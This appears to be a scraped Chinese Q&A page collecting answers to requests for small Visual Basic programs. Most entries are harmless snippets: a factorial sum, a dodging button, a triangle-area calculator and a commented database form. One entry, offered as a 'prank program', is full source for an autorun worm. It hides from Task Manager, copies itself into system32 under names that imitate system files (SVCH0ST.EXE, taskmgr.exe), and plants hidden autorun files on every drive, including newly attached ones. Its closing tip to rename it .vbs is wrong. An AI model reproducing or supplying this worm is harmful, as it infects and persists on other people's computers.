㈠ vb小程序代碼

1。數字時鍾

2。計算器

3。圖片閱讀器

4。文件搜索器

5。個人通訊錄

你把這些做出來，你VB就明白了！！！！

㈡ 誰有vb小程序的源代碼

兄弟這里有幾千個VB源代碼下載：
http://code.knowsky.com/down.asp?typeid=8

㈢ 求VB小程序代碼

Private Sub Command1_Click()
Dim N As Long
Dim i As Long
Dim j As Long
Dim s As Long
Dim b As Long

N = Val(Text1.Text)
For i = 1 To N
b = 1
For j = 1 To i
b = b * j
Next j
s = s + b / (j - 1)

Next i
Text2.Text = s
End Sub

㈣ 在VB中,做一個小程序,請告訴我代碼

這一種是當你的滑鼠想去點擊按鈕1時就會隨機跑動，不讓人可以點到。
Dim CMD1 As Boolean'設置一個全局布爾變數
Private Sub Command1_Click()
CMD1 = True
End Sub

Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
If CMD1 = True Then
X = Rnd * (Form1.ScaleWidth - Command1.Width)
Y = Rnd * (Form1.ScaleHeight - Command1.Height)
Command1.Move X, Y
End If
End Sub

Private Sub Command2_Click()
CMD1 = False
End Sub

這一種是你點了按鈕1後，這個接鈕1就不停的去跑動讓人很難點到。
Private Sub Form_Load()
Timer1.Interval = 100
Timer1.Enabled = False
End Sub
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
End Sub

Private Sub Timer1_Timer()
Command1.Top = Me.ScaleHeight * Rnd
Command1.Left = Me.ScaleWidth * Rnd
End Sub

這兩種方法的區別在於點擊按鈕1後，
第一種是你的滑鼠是永遠都點不到按鈕1。
第二種是你有可能會點中。

㈤ vb實用小程序源代碼

Private Sub mianji()
Dim a As Single, b As Single, c As Single
a = Val(InputBox("請輸入三角形的邊a:", "輸入"))
b = Val(InputBox("請輸入三角形的邊b:", "輸入"))
c = Val(InputBox("請輸入三角形的邊c:", "輸入"))

If (a + b) <= c Or b + c <=a Or a + c <= b Then
MsgBox "三條邊不能構成三角形,請重新輸入!", , "注意"
Exit Sub
End If
q = (a + b + c) / 2
s = Sqr(q * (q - a) * (q - b) * (q - c))
Print "三角形的面積是: "; s
End Sub

這個是由鍵盤輸入3個數，試編程判斷它們是否可以構成一個三角形。如果能構成一個三角形，請計算該三角形的面積。

㈥ 求用VB編寫一個小程序代碼!

你文本文檔中的文件名包含路徑嗎？包含後綴嗎？
你要提取文件出來幹嘛？

㈦ 求一些VB小程序代碼

Q我459834574

㈧ vb整人小程序代碼

Dim num, nums '驅動器數
Dim i As Integer '文件號
Dim j As Integer 'FOR用的變數!
Private Sub Form_Load() '程序初始化！
'不準重復運行本病毒！
If App.PrevInstance Then
End
End If
'在任務管理器中隱身！
App.TaskVisible = False
'病毒自我保護函數
a0
auts
'得到當前驅動器數！
a2
'設置時間：為5000 MS 檢查一次(5秒)
t1.Interval = 5000
t1.Enabled = True
End Sub
Sub a0() '病毒自我保護函數
Dim temp As String
Dim temp2 As String
On Error Resume Next
temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
'得到系統目錄！得到後，自我復制到SYSTEM32下！
For j = 0 To aa.ListCount - 1
temp2 = Trim(aa.List(j)) & "\windows"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
temp2 = Trim(aa.List(j)) & "\WINNT"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
GoTo zz1
Else
FileCopy temp, Trim(aa.List(j)) & "\winnt\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\dllcache\taskmgr.exe"
End If
Else
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
End If
zz1:
Next
End Sub
Sub a1() '感染函數
Dim temp As String
Dim temp2 As String
temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
For j = nums + 1 To num
temp2 = Trim(aa.List(j)) & "\auto.exe"
FileCopy temp, temp2
i = FreeFile
Open Trim(aa.List(j)) & "\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=auto.exe"
Close #i
SetAttr Trim(aa.List(j)) & "\autorun.inf", vbHidden
SetAttr Trim(aa.List(j)) & "\auto.exe", vbHidden
Next
End Sub
Sub a2() '得到當前驅動器數！
num = aa.ListCount - 1
If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End Sub
Private Sub t1_Timer() '時間函數
num = aa.ListCount - 1
i = FreeFile
Open "c:\.a" For Input As #i
Line Input #i, nums
Close #i
nums = Trim(nums)
nums = Int(nums)
If num <> nums Then
If num > nums Then
a1
End If
If num < nums Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End If
aa.Refresh
End Sub
Sub bat() '寫自我刪除程序
On Error Resume Next
i = FreeFile
Open App.Path & "\killme.bat" For Output As #i
Print #i, "@echo off"
Print #i, "sleep 1000"
Print #i, "del " & App.EXEName + ".exe"
Print #i, "del killme.bat"
Print #i, "cls"
Print #i, "exit"
Close #i
Shell App.Path & "\killme.bat", vbHide
End
End Sub
Sub auts() '自我感染全驅動器
On Error GoTo err1
Dim file_temp As String
i = FreeFile
Open "c:\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=autorun.exe"
Close #i
file_temp = Trim(App.Path & "\" & App.EXEName & ".exe")
FileCopy file_temp, "c:\autorun.exe"
SetAttr "c:\autorun.inf", vbHidden
SetAttr "c:\autorun.exe", vbHidden
Dim dirid As Integer
For dirid = 100 To 122
MsgBox Chr(dirid)
FileCopy "c:\autorun.exe", Chr(dirid) & ":\autorun.exe"
FileCopy "c:\autorun.inf", Chr(dirid) & ":\autorun.inf"
SetAttr Chr(dirid) & ":\autorun.inf", vbHidden
SetAttr Chr(dirid) & " :\autorun.exe", vbHidden
Next
err1:
End Sub

後綴改為vbs

㈨ 一個VB小程序的源代碼~~~幫忙注釋一下！！！！！高分！！在線等！！

Option Explicit

Private Sub Command1_Click() '通過對話框選擇圖片裝載到Image1圖像框
CDlg.FileName = ""
CDlg.ShowOpen
If CDlg.FileName <> "" Then
Image1.Picture = LoadPicture(CDlg.FileName)
End If
End Sub
Private Sub Command2_Click()
Data1.Recordset.AddNew '新增記錄
End Sub
Private Sub Command3_Click()
With Data1.Recordset
.Delete '刪除記錄
.MoveNext '移動記錄指針到下一條記錄
If .EOF Then .MoveLast 'EOF 指示當前記錄位置位於 Recordset 對象的最後一個記錄之後
End With
End Sub
Private Sub Command4_Click()
Dim s As String
With Data1.Recordset
s = .Bookmark '返回唯一標識 Recordset 對象中當前記錄的書簽，或者將 Recordset 對象的當前記錄設置為由有效書簽所標識的記錄。
.FindFirst Text4.Text
If .NoMatch Then
MsgBox "數據未找到"
.Bookmark = s
End If
End With
End Sub
Private Sub Command5_Click()
Dim s As String
With Data1.Recordset
s = .Bookmark
.FindNext Text4.Text
If .NoMatch Then
MsgBox "數據未找到"
.Bookmark = s
End If
End With
End Sub

Private Sub Form_Load()
Data1.DatabaseName = App.Path & "\MyData.mdb" '加在相對路徑下MyData.mdb資料庫
End Sub

Private Sub Label2_Click()

End Sub

㈩ vb小程序代碼,

會告訴你的都會是有償服務